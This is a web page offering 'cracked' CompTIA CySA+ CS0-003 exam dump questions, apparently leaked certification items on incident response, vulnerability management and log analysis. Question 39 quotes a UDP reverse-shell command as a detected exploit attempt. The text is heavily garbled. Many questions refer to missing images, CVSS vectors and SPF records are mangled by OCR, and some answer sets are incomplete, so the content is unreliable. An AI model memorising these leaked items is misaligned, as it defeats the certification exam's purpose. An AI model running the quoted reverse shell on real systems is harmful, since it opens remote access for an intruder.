CS0-003 CompTIA CySA+ Exam Dumps Questions

dumps2024-11-27T11:53:55+08:00

CS0-003 exam is the new one for CompTIA CySA+ certification, and the former code CS0-002 exam in English will be retired on December 5, 2023. There are a maximum of 85 Multiple choice and performance-based questions in the real CompTIA Certification CS0-003 exam, and you have 165 minutes to answer all the questions. The required passing score for the CompTIA CS0-003 exam is 750 (on a scale of 100-900). Our new cracked CompTIA CySA+ CS0-003 exam dumps questions are the best material for you to pass the test. Free CompTIA Certification CS0-003 exam dumps are below.

Page 1 of 13

1. A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability.

Which of the following CVE metrics would be most accurate for this zero-day threat?

CVSS: 31/AV: N/AC: L/PR: N/UI: N/S: U/C: H/1: K/A: L

CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L

CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H

CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H

2. Which of the following tools would work best to prevent the exposure of PII outside of an organization?

PAM

IDS

PKI

DLP

3. An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:

文本

描述已自动生成

Which of the following tuning recommendations should the security analyst share?

Set an HttpOnlvflaq to force communication by HTTPS

Block requests without an X-Frame-Options header

Configure an Access-Control-Allow-Origin header to authorized domains

Disable the cross-origin resource sharing header

4. Which of the following items should be included in a vulnerability scan report? (Choose two.)

Lessons learned

Service-level agreement

Playbook

Affected hosts

Risk score

Education plan

5. The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released.

Which of the following would best protect this organization?

A mean time to remediate of 30 days

A mean time to detect of 45 days

A mean time to respond of 15 days

Third-party application testing

6. A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious.

Given the following script:

文本

描述已自动生成

Which of the following scripting languages was used in the script?

PowerShel

Ruby

Python

Shell script

7. A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS.

Which of the following most likely describes the observed activity?

There is an issue with the SSL certificate causinq port 443 to become unavailable for HTTPS access

An on-path attack is being performed by someone with internal access that forces users into port 80

The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80

An error was caused by BGP due to new rules applied over the company's internal routers

8. The Company shall prioritize patching of publicly available systems and services over patching of

internally available system.

According to the security policy, which of the following vulnerabilities should be the highest priority to patch?

A)

Option A

Option B

Option C

Option D

9. Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

Business continuity plan

Vulnerability management plan

Disaster recovery plan

Asset management plan

10. The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization.

Which of the following solutions will assist in reducing the risk?

Deploy a CASB and enable policy enforcement

Configure MFA with strict access

Deploy an API gateway

Enable SSO to the cloud applications

Page 2 of 13

11. An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack.

Which of the following logs should the team review first?

CDN

Vulnerability scanner

DNS

Web server

12. A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack.

Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?

Weaponization

Reconnaissance

Delivery

Exploitation

13. An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets.

Which of the following steps of an attack framework is the analyst witnessing?

Exploitation

Reconnaissance

Command and control

Actions on objectives

14. An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country.

Which of the following best describes what is happening? (Choose two.)

Beaconinq

Domain Name System hijacking

Social engineering attack

On-path attack

Obfuscated links

Address Resolution Protocol poisoning

15. During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application.

Which of the following recommendations would best mitigate this problem if applied along the SDLC phase?

Conduct regular red team exercises over the application in production

Ensure that all implemented coding libraries are regularly checked

Use application security scanning as part of the pipeline for the CI/CDflow

Implement proper input validation for any data entry form

16. An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to.

Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent?

Proprietary systems

Legacy systems

Unsupported operating systems

Lack of maintenance windows

17. The security team reviews a web server for XSS and runs the following Nmap scan:

文本

中度可信度描述已自动生成

Which of the following most accurately describes the result of the scan?

An output of characters > and " as the parameters used m the attempt

The vulnerable parameter ID hccp://l72.31.15.2/1.php?id-2 and unfiltered characters returned

The vulnerable parameter and unfiltered or encoded characters passed > and " as unsafe

The vulnerable parameter and characters > and " with a reflected XSS attempt

18. Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future?

Develop a call tree to inform impacted users

Schedule a review with all teams to discuss what occurred

Create an executive summary to update company leadership

Review regulatory compliance with public relations for official notification

19. A security analyst received a malicious binary file to analyze.

Which of the following is the best technique to perform the analysis?

Code analysis

Static analysis

Reverse engineering

Fuzzing

20. An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation.

Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?

Hard disk

Primary boot partition

Malicious tiles

Routing table

Static IP address

Page 3 of 13

21. Which of the following security operations tasks are ideal for automation?

Suspicious file analysis: - Look for suspicious-looking graphics in a folder. - Create subfolders in the original folder based on category of graphics found. - Move the suspicious graphics to the appropriate subfolder

Firewall IoC block actions: Examine the firewall logs for IoCs from the most recently published zero-day exploit Take mitigating actions in the firewall to block the behavior found in the logs Follow up on any false positives that were caused by the block rules

Security application user errors: Search the error logs for signs of users having trouble with the security application Look up the user's phone number Call the user to help with any questions about using the application

Email header analysis: Check the email header for a phishing confidence metric greater than or equal to five Add the domain of sender to the block list Move the email to quarantine

22. An organization has experienced a breach of customer transactions.

Under the terms of PCI DSS, which of the following groups should the organization report the breach to?

PCI Security Standards Council

Local law enforcement

Federal law enforcement

Card issuer

23. Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?

Mean time to detect

Number of exploits by tactic

Alert volume

Quantity of intrusion attempts

24. A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment.

Which of the following implications should be considered on the new hybrid environment?

The current scanners should be migrated to the cloud

Cloud-specific misconfigurations may not be detected by the current scanners

Existing vulnerability scanners cannot scan laaS systems

Vulnerability scans on cloud environments should be performed from the cloud

25. A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user's workstation, to build the case for the investigation.

Which of the following is the best way to ensure that the investigation complies with HR or privacy policies?

Create a timeline of events detailinq the date stamps, user account hostname and IP information associated with the activities

Ensure that the case details do not reflect any user-identifiable information Password protect the evidence and restrict access to personnel related to the investigation

Create a code name for the investigation in the ticketing system so that all personnel with access will not be able to easily identity the case as an HR-related investigation

Notify the SOC manager for awareness after confirmation that the activity was intentional

26. Which of the following is the first step that should be performed when establishing a disaster recovery plan?

Agree on the goals and objectives of the plan

Determine the site to be used during a disaster C Demonstrate adherence to a standard disaster recovery process

Identity applications to be run during a disaster

27. A technician identifies a vulnerability on a server and applies a software patch.

Which of the following should be the next step in the remediation process?

Testing

Implementation

Validation

Rollback

28. The analyst reviews the following endpoint log entry:

Which of the following has occurred?

Registry change

Rename computer

New account introduced

Privilege escalation

29. A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools.

Which of the following best describes what the security program did?

Data enrichment

Security control plane

Threat feed combination

Single pane of glass

30. Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment.

Given the following output:

手机屏幕截图

描述已自动生成

Which of the following choices should the analyst look at first?

wh4dc-748gy.lan (192.168.86.152)

lan (192.168.86.22)

imaging.lan (192.168.86.150)

xlaptop.lan (192.168.86.249)

p4wnp1_aloa.lan (192.168.86.56)

Page 4 of 13

31. When starting an investigation, which of the following must be done first?

Notify law enforcement

Secure the scene

Seize all related evidence

Interview the witnesses

32. Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?

The lead should review what is documented in the incident response policy or plan

Management level members of the CSIRT should make that decision

The lead has the authority to decide who to communicate with at any t me

Subject matter experts on the team should communicate with others within the specified area of expertise

33. A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization.

Which of the following will produce the data needed for the briefing?

Firewall logs

Indicators of compromise

Risk assessment

Access control lists

34. An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country.

Which of the following describes what the analyst has noticed?

Beaconing

Cross-site scripting

Buffer overflow

PHP traversal

35. A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself.

Which of the following can the analyst perform to see the entire contents of the downloaded files?

Change the display filter to f cp. accive. pore

Change the display filter to tcg.port=20

Change the display filter to f cp-daca and follow the TCP streams

Navigate to the File menu and select FTP from the Export objects option

36. A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst.

Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?

SLA

MOU

NDA

Limitation of liability

37. Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

Command and control

Actions on objectives

Exploitation

Delivery

38. A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic.

Which of the following would best meet this requirement?

External

Agent-based

Non-credentialed

Credentialed

39. A security analyst detects an exploit attempt containing the following command:

sh -i >& /dev/udp/10.1.1.1/4821 0>$l

Which of the following is being attempted?

RCE

Reverse shell

XSS

SQL injection

40. An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware.

Which of the following factors would an analyst most likely communicate as the reason for this escalation?

Scope

Weaponization

CVSS

Asset value

Page 5 of 13

41. An analyst is reviewing a vulnerability report for a server environment with the following entries:

表格

描述已自动生成

Which of the following systems should be prioritized for patching first?

10.101.27.98

54.73.225.17

54.74.110.26

54.74.110.228

42. A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data.

Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?

Credentialed network scanning

Passive scanning

Agent-based scanning

Dynamic scanning

43. A security analyst is trying to identify anomalies on the network routing.

Which of the following functions can the analyst use on a shell script to achieve the objective most accurately?

function x() { info=$(geoiplookup $1) && echo "$1 | $info" }

function x() { info=$(ping -c 1 $1 | awk -F "/" ’END{print $5}’) && echo "$1 | $info" }

function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" ’{print $1} ').origin.asn.cymru.com TXT +short) && echo "$1 | $info" }

function x() { info=$(traceroute -m 40 $1 | awk ‘END{print $1}’) && echo "$1 | $info" }

44. There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat.

Which of the following security controls would best support the company in this scenario?

Implement step-up authentication for administrators

Improve employee training and awareness

Increase password complexity standards

Deploy mobile device management

45. Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?

Determine the sophistication of the audience that the report is meant for

Include references and sources of information on the first page

Include a table of contents outlining the entire report

Decide on the color scheme that will effectively communicate the metrics

46. A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to the attackers.

Which of the following actions would allow the analyst to achieve the objective?

Upload the binary to an air gapped sandbox for analysis

Send the binaries to the antivirus vendor

Execute the binaries on an environment with internet connectivity

Query the file hashes using VirusTotal

47. Which of the following would help to minimize human engagement and aid in process improvement in security operations?

OSSTMM

SIEM

SOAR

QVVASP

48. After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high. The CISO refused the software request.

Which of the following risk management principles did the CISO select?

Avoid

Transfer

Mitigate

49. Which of the following is an important aspect that should be included in the lessons-learned step after an incident?

Identify any improvements or changes in the incident response plan or procedures

Determine if an internal mistake was made and who did it so they do not repeat the error

Present all legal evidence collected and turn it over to iaw enforcement

Discuss the financial impact of the incident to determine if security controls are well spent

50. The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals.

Which of the following will best achieve the goal and maximize results?

Single pane of glass

Single sign-on

Data enrichment

Deduplication

Page 6 of 13

51. Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

MITRE ATTACK

Cyber Kill Cham

OWASP

STIXTAXII

52. An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system.

Which of the following steps of the process does this describe?

Eradication

Recovery

Containment

Preparation

53. Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer's customers. However, Joe has not resigned or discussed this with his current supervisor yet.

Which of the following would be the best action for the incident response team to recommend?

Isolate Joe's PC from the network

Reimage the PC based on standard operating procedures

Initiate a remote wipe of Joe's PC using mobile device management

Perform no action until HR or legal counsel advises on next steps

54. The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team is required to come up with priorities for the program.

Which of the following is the best priority based on common attack frameworks?

Reduce the administrator and privileged access accounts

Employ a network-based IDS

Conduct thorough incident response

Enable SSO to enterprise applications

55. During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened.

Which of the following actions should the analyst take first?

Clone the virtual server for forensic analysis

Restore from the last known-good backup to confirm there was no loss of connectivity

Shut down the affected server immediately

56. A systems administrator is reviewing after-hours traffic flows from data-center servers and sees regular outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well.

Which of the following is the most likely explanation?

C2 beaconing activity

Data exfiltration

Anomalous activity on unexpected ports

Network host IP address scanning

A rogue network device

57. New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy.

Which of the following will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy?

Human resources must email a copy of a user agreement to all new employees

Supervisors must get verbal confirmation from new employees indicating they have read the user agreement

All new employees must take a test about the company security policy during the cjitoardmg process

All new employees must sign a user agreement to acknowledge the company security policy

58. An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft.

Which of the following would be the best threat intelligence source to learn about this new campaign?

Information sharing organization

Blogs/forums

Cybersecurity incident response team

Deep/dark web

59. An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes lessons learned.

Which of the following is the most likely reason to include lessons learned?

To satisfy regulatory requirements for incident reporting

To hold other departments accountable

To identify areas of improvement in the incident response process

To highlight the notable practices of the organization's incident response team

60. A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans.

Using the third-party scoring system described below, the team patches the most urgent vulnerabilities:

表格

描述已自动生成

Additionally, the vulnerability management team feels that the metrics Smear and Channing are less important than the others, so these will be lower in priority.

Which of the following vulnerabilities should be patched first, given the above third-party scoring system?

InLoud: Cobain: Yes Grohl: No Novo: Yes Smear: Yes Channing: No

TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No

ENameless: Cobain: Yes Grohl: No Novo: Yes Smear: No Channing: No

PBleach: Cobain: Yes Grohl: No Novo: No Smear: No Channing: Yes

Page 7 of 13

61. A user downloads software that contains malware onto a computer that eventually infects numerous other systems.

Which of the following has the user become?

Hacklivist

Advanced persistent threat

Insider threat

Script kiddie

62. An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network.

Which of the following should the CSIRT conduct next?

Take a snapshot of the compromised server and verify its integrity

Restore the affected server to remove any malware

Contact the appropriate government agency to investigate

Research the malware strain to perform attribution

63. During an incident, an analyst needs to acquire evidence for later investigation.

Which of the following must be collected first in a computer system, related to its volatility level?

Disk contents

Backup data

Temporary files

Running processes

64. A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region.

Which of the following shell script functions could help achieve the goal?

function w() { a=$(ping -c 1 $1 | awk-F ”/” ’END{print $1}’) && echo “$1 | $a” }

function x() { b=traceroute -m 40 $1 | awk ’END{print $1}’) && echo “$1 | $b” }

function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ”.in-addr” ’{print $1}’).origin.asn.cymru.com TXT +short }

function z() { c=$(geoiplookup$1) && echo “$1 | $c” }

65. A security analyst is writing a shell script to identify IP addresses from the same country.

Which of the following functions would help the analyst achieve the objective?

function w() { info=$(ping -c 1 $1 | awk -F “/” ‘END{print $1}’) && echo “$1 | $info” }

function x() { info=$(geoiplookup $1) && echo “$1 | $info” }

function y() { info=$(dig -x $1 | grep PTR | tail -n 1 ) && echo “$1 | $info” }

function z() { info=$(traceroute -m 40 $1 | awk ‘END{print $1}’) && echo “$1 | $info” }

66. A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment:

表格

描述已自动生成

Which of the following should be completed first to remediate the findings?

Ask the web development team to update the page contents

Add the IP address allow listing for control panel access

Purchase an appropriate certificate from a trusted root CA

Perform proper sanitization on all fields

67. A user reports a malware alert to the help desk. A technician verities the alert, determines the workstation is classified as a low-severity device, and uses network controls to block access. The technician then assigns the ticket to a security analyst who will complete the eradication and recovery processes.

Which of the following should the security analyst do next?

Document the procedures and walk through the incident training guide.

Reverse engineer the malware to determine its purpose and risk to the organization.

Sanitize the workstation and verify countermeasures are restored.

Isolate the workstation and issue a new computer to the user.

68. A digital forensics investigator works from duplicate images to preserve the integrity of the original evidence.

Which of the following types of media are most volatile and should be preserved? (Select two).

Memory cache

Registry file

SSD storage

Temporary filesystems

Packet decoding

Swap volume

69. A development team recently released a new version of a public-facing website for testing prior to

production. The development team is soliciting the help of various teams to validate the functionality of the website due to its high visibility.

Which of the following activities best describes the process the development team is initiating?

Static analysis

Stress testing

Code review

User acceptance testing

70. A security technician is testing a solution that will prevent outside entities from spoofing the company's email domain, which is compatia.org. The testing is successful, and the security technician is prepared to fully implement the solution.

Which of the following actions should the technician take to accomplish this task?

Add TXT @ "v=spfl mx include:_spf.comptia. org -all" to the DNS record.

Add : XT @ "v=spfl mx include:_sp£.comptia.org -all" to the email server.

Add TXT @ "v=spfl mx include:_sp£.comptia.org +all" to the domain controller.

AddTXT @ "v=apfl mx lnclude:_spf .comptia.org +a 11" to the web server.

Page 8 of 13

71. A security analyst who works in the SOC receives a new requirement to monitor for indicators of

compromise.

Which of the following is the first action the analyst should take in this situation?

Develop a dashboard to track the indicators of compromise.

Develop a query to search for the indicators of compromise.

Develop a new signature to alert on the indicators of compromise.

Develop a new signature to block the indicators of compromise.

72. During an investigation, an analyst discovers the following rule in an executive's email client:

The executive is not aware of this rule.

Which of the following should the analyst do first to evaluate the potential impact of this security incident?

Check the server logs to evaluate which emails were sent to <someaddress@domain,com>.

Use the SIEM to correlate logging events from the email server and the domain server.

Remove the rule from the email client and change the password.

Recommend that the management team implement SPF and DKI

73. A security analyst is investigating a compromised Linux server.

The analyst issues the ps command and receives the following output:

手机屏幕的截图

描述已自动生成

Which of the following commands should the administrator run next to further analyze the compromised system?

gbd /proc/1301

rpm -V openssh-server

/bin/Is -1 /proc/1301/exe

kill -9 1301

74. The following output is from a tcpdump al the edge of the corporate network:

Which of the following best describes the potential security concern?

Payload lengths may be used to overflow buffers enabling code execution.

Encapsulated traffic may evade security monitoring and defenses

This traffic exhibits a reconnaissance technique to create network footprints.

The content of the traffic payload may permit VLAN hopping.

75. A company's threat team has been reviewing recent security incidents and looking for a common theme. The team discovered the incidents were caused by incorrect configurations on the impacted systems. The issues were reported to support teams, but no action was taken.

Which of the following is the next step the company should take to ensure any future issues are remediated?

Require support teams to develop a corrective control that ensures security failures are addressed once they are identified.

Require support teams to develop a preventive control that ensures new systems are built with the required security configurations.

Require support teams to develop a detective control that ensures they continuously assess systems for configuration errors.

Require support teams to develop a managerial control that ensures systems have a documented configuration baseline.

76. A product manager is working with an analyst to design a new application that will perform as a data analytics platform and will be accessible via a web browser. The product manager suggests using a PaaS provider to host the application.

Which of the following is a security concern when using a PaaS solution?

The use of infrastructure-as-code capabilities leads to an increased attack surface.

Patching the underlying application server becomes the responsibility of the client.

The application is unable to use encryption at the database level.

Insecure application programming interfaces can lead to data compromise.

77. A security analyst performs a weekly vulnerability scan on a network that has 240 devices and receives a report with 2.450 pages.

Which of the following would most likely decrease the number of false positives?

Manual validation

Penetration testing

A known-environment assessment

Credentialed scanning

78. An organization wants to move non-essential services into a cloud computing environment. The management team has a cost focus and would like to achieve a recovery time objective of 12 hours.

Which of the following cloud recovery strategies would work best to attain the desired outcome?

Duplicate all services in another instance and load balance between the instances.

Establish a hot site with active replication to another region within the same cloud provider.

Set up a warm disaster recovery site with the same cloud provider in a different region.

Configure the systems with a cold site at another cloud provider that can be used for failover.

79. A security analyst discovers the company's website is vulnerable to cross-site scripting.

Which of the following solutions will best remedy the vulnerability?

Prepared statements

Server-side input validation

Client-side input encoding

Disabled JavaScript filtering

80. An organization supports a large number of remote users.

Which of the following is the best option to protect the data on the remote users' laptops?

Require the use of VPNs.

Require employees to sign an ND

Implement a DLP solution.

Use whole disk encryption.

Page 9 of 13

81. A security analyst is monitoring a company's network traffic and finds ping requests going to accounting and human resources servers from a SQL server. Upon investigation, the analyst discovers a technician responded to potential network connectivity issues.

Which of the following is the best way for the security analyst to respond?

Report this activity as a false positive, as the activity is legitimate.

Isolate the system and begin a forensic investigation to determine what was compromised.

Recommend network segmentation to the management team as a way to secure the various environments.

Implement host-based firewalls on all systems to prevent ping sweeps in the future.

82. Which of the following software assessment methods world peak times?

Security regression testing

Stress testing

Static analysis testing

Dynamic analysis testing

User acceptance testing

83. During an incident response procedure, a security analyst acquired the needed evidence from the hard drive of a compromised machine.

Which of the following actions should the analyst perform next to ensure the data integrity of the evidence?

Generate hashes for each file from the hard drive.

Create a chain of custody document.

Determine a timeline of events using correct time synchronization.

Keep the cloned hard drive in a safe place.

84. As a proactive threat-hunting technique, hunters must develop situational cases based on likely attack scenarios derived from the available threat intelligence information. After forming the basis of the scenario, which of the following may the threat hunter construct to establish a framework for threat assessment?

Critical asset list

Threat vector

Attack profile

Hypothesis

85. A company creates digitally signed packages for its devices.

Which of the following best describes the

method by which the security packages are delivered to the company's customers?

Antitamper mechanism

SELinux

Trusted firmware updates

eFuse

86. During an audit, several customer order forms were found to contain inconsistencies between the actual price of an item and the amount charged to the customer. Further investigation narrowed the cause of the issue to manipulation of the public-facing web form used by customers to order products.

Which of the following would be the best way to locate this issue?

Reduce the session timeout threshold

Deploy MFA for access to the web server.

Implement input validation.

Run a dynamic code analysis.

87. A Chief Information Security Officer (CISO) is concerned about new privacy regulations that apply to the company. The CISO has tasked a security analyst with finding the proper control functions to verify that a user's data is not altered without the user's consent.

Which of the following would be an appropriate course of action?

Automate the use of a hashing algorithm after verified users make changes to their data.

Use encryption first and then hash the data at regular, defined times.

Use a DLP product to monitor the data sets for unauthorized edits and changes.

Replicate the data sets at regular intervals and continuously compare the copies for unauthorized changes.

88. A Chief Information Officer wants to implement a BYOD strategy for all company laptops and mobile phones. The Chief Information Security Officer is concerned with ensuring all devices are patched and running some sort of protection against malicious software.

Which of the following existing technical controls should a security analyst recommend to best meet all the requirements?

EDR

Port security

NAC

Segmentation

89. A security analyst discovers the accounting department is hosting an accounts receivable form on a public document service. Anyone with the link can access it.

Which of the following threats applies to this situation?

Potential data loss to external users

Loss of public/private key management

Cloud-based authentication attack

Identification and authentication failures

90. A security analyst is supporting an embedded software team.

Which of the following is the best recommendation to ensure proper error handling at runtime?

Perform static code analysis.

Require application fuzzing.

Enforce input validation.

Perform a code review.

Page 10 of 13

91. The steering committee for information security management annually reviews the security incident register for the organization to look for trends and systematic issues. The steering committee wants to rank the risks based on past incidents to improve the security program for next year.

Below is the incident register for the organization:

表格

描述已自动生成

Which of the following should the organization consider investing in first due to the potential impact of availability?

Hire a managed service provider to help with vulnerability management.

Build a warm site in case of system outages.

Invest in a failover and redundant system, as necessary.

Hire additional staff for the IT department to assist with vulnerability management and log review.

92. A cybersecurity analyst is concerned about attacks that use advanced evasion techniques.

Which of the following would best mitigate such attacks?

Keeping IPS rules up to date

Installing a proxy server

Applying network segmentation

Updating the antivirus software

93. Legacy medical equipment, which contains sensitive data, cannot be patched.

Which of the following is the best solution to improve the equipment's security posture?

Move the legacy systems behind a WAR

Implement an air gap for the legacy systems.

Place the legacy systems in the perimeter network.

Implement a VPN between the legacy systems and the local network.

94. A security analyst notices the following proxy log entries:

文本

描述已自动生成

Which of the following is the user attempting to do based on the log entries?

Use a DoS attack on external hosts.

Exfiltrate data.

Scan the network.

Relay email.

95. A company's legal department is concerned that its incident response plan does not cover the countless ways security incidents can occur. The department has asked a security analyst to help tailor the response plan to provide broad coverage for many situations.

Which of the following is the best way to achieve this goal?

Focus on incidents that have a high chance of reputation harm.

Focus on common attack vectors first.

Focus on incidents that affect critical systems.

Focus on incidents that may require law enforcement support.

96. During a company’s most recent incident, a vulnerability in custom software was exploited on an externally facing server by an APT.

The lessons-learned report noted the following:

• The development team used a new software language that was not supported by the security team's automated assessment tools.

• During the deployment, the security assessment team was unfamiliar with the new language and struggled to evaluate the software during advanced testing. Therefore, the vulnerability was not detected.

• The current IPS did not have effective signatures and policies in place to detect and prevent

runtime attacks on the new application.

To allow this new technology to be deployed securely going forward, which of the following will BEST address these findings? (Choose two.)

Train the security assessment team to evaluate the new language and verify that best practices for secure coding have been followed

Work with the automated assessment-tool vendor to add support for the new language so these vulnerabilities are discovered automatically

Contact the human resources department to hire new security team members who are already familiar with the new language

Run the software on isolated systems so when they are compromised, the attacker cannot pivot to adjacent systems

Instruct only the development team to document the remediation steps for this vulnerability

Outsource development and hosting of the applications in the new language to a third-party vendor so the risk is transferred to that provider

97. Given the Nmap request below:

报纸上的文字

描述已自动生成

Which of the following actions will an attacker be able to initiate directly against this host?

Password sniffing

ARP spoofing

A brute-force attack

An SQL injection

98. A security analyst is reviewing the following log entries to identify anomalous activity:

Which of the following attack types is occurring?

Directory traversal

SQL injection

Buffer overflow

Cross-site scripting

99. A security analyst responds to a series of events surrounding sporadic bandwidth consumption from an endpoint device.

The security analyst then identifies the following additional details:

• Bursts of network utilization occur approximately every seven days.

• The content being transferred appears to be encrypted or obfuscated.

• A separate but persistent outbound TCP connection from the host to infrastructure in a third-party cloud is in place.

• The HDD utilization on the device grows by 10GB to 12GB over the course of every seven days.

• Single file sizes are 10GB.

Which of the following describes the most likely cause of the issue?

Memory consumption

Non-standard port usage

Data exfiltration

System update

Botnet participant

100. A security analyst wants to capture large amounts of network data that will be analyzed at a later time. The packet capture does not need to be in a format that is readable by humans, since it will be put into a binary file called "packetCapture." The capture must be as efficient as possible, and the analyst wants to minimize the likelihood that packets will be missed.

Which of the following commands will best accomplish the analyst's objectives?

tcpdump -w packetCapture

tcpdump -a packetCapture

tcpdump -n packetCapture

nmap -v > packetCapture

nmap -oA > packetCapture

Page 11 of 13

101. Which of the following ICS network protocols has no inherent security functions on TCP port 502?

CIP

DHCP

SSH

Modbus

102. During the forensic analysis of a compromised machine, a security analyst discovers some binaries

that are exhibiting abnormal behaviors. After extracting the strings, the analyst finds unexpected content.

Which of the following is the next step the analyst should take?

Validate the binaries' hashes from a trusted source.

Use file integrity monitoring to validate the digital signature

Run an antivirus against the binaries to check for malware.

Only allow binaries on the approve list to execute.

103. While reviewing a vulnerability assessment, an analyst notices the following issue is identified in the report:

图形用户界面, 文本

中度可信度描述已自动生成

this finding, which of the following would be most appropriate for the analyst to recommend to the network engineer?

Reconfigure the device to support only connections leveraging TLSv1.2.

Obtain a new self-signed certificate and select AES as the hashing algorithm.

Replace the existing certificate with a certificate that uses only MD5 for signing.

Use only signed certificates with cryptographically secure certificate sources.

104. A security engineer is reviewing security products that identify malicious actions by users as part of a company's insider threat program.

Which of the following is the most appropriate product category for this purpose?

SCAP

SOAR

UEBA

WAF

105. Given the output below:

#nmap 7.70 scan initiated Tues, Feb 8 12:34:56 2022 as: nmap -v -Pn -p 80,8000,443 --script http-* -oA server.out 192.168.220.42

Which of the following is being performed?

Cross-site scripting

Local file inclusion attack

Log4] check

Web server enumeration

106. Members of the sales team are using email to send sensitive client lists with contact information to their personal accounts The company's AUP and code of conduct prohibits this practice.

Which of the following configuration changes would improve security and help prevent this from occurring?

Configure the DLP transport rules to provide deep content analysis.

Put employees' personal email accounts on the mail server on a blocklist.

Set up IPS to scan for outbound emails containing names and contact information.

Use Group Policy to prevent users from copying and pasting information into emails.

Move outbound emails containing names and contact information to a sandbox for further examination.

107. While observing several host machines, a security analyst notices a program is overwriting data to a buffer.

Which of the following controls will best mitigate this issue?

Data execution prevention

Output encoding

Prepared statements

Parameterized queries

108. A security analyst is logged on to a jump server to audit the system configuration and status.

The organization's policies for access to and configuration of the jump server include the following:

• No network access is allowed to the internet.

• SSH is only for management of the server.

• Users must utilize their own accounts, with no direct login as an administrator.

• Unnecessary services must be disabled.

The analyst runs netstar with elevated permissions and receives the following output:

表格

描述已自动生成

Which of the following policies does the server violate?

Unnecessary services must be disabled.

SSH is only for management of the server.

No network access is allowed to the internet.

Users must utilize their own accounts, with no direct login as an administrator.

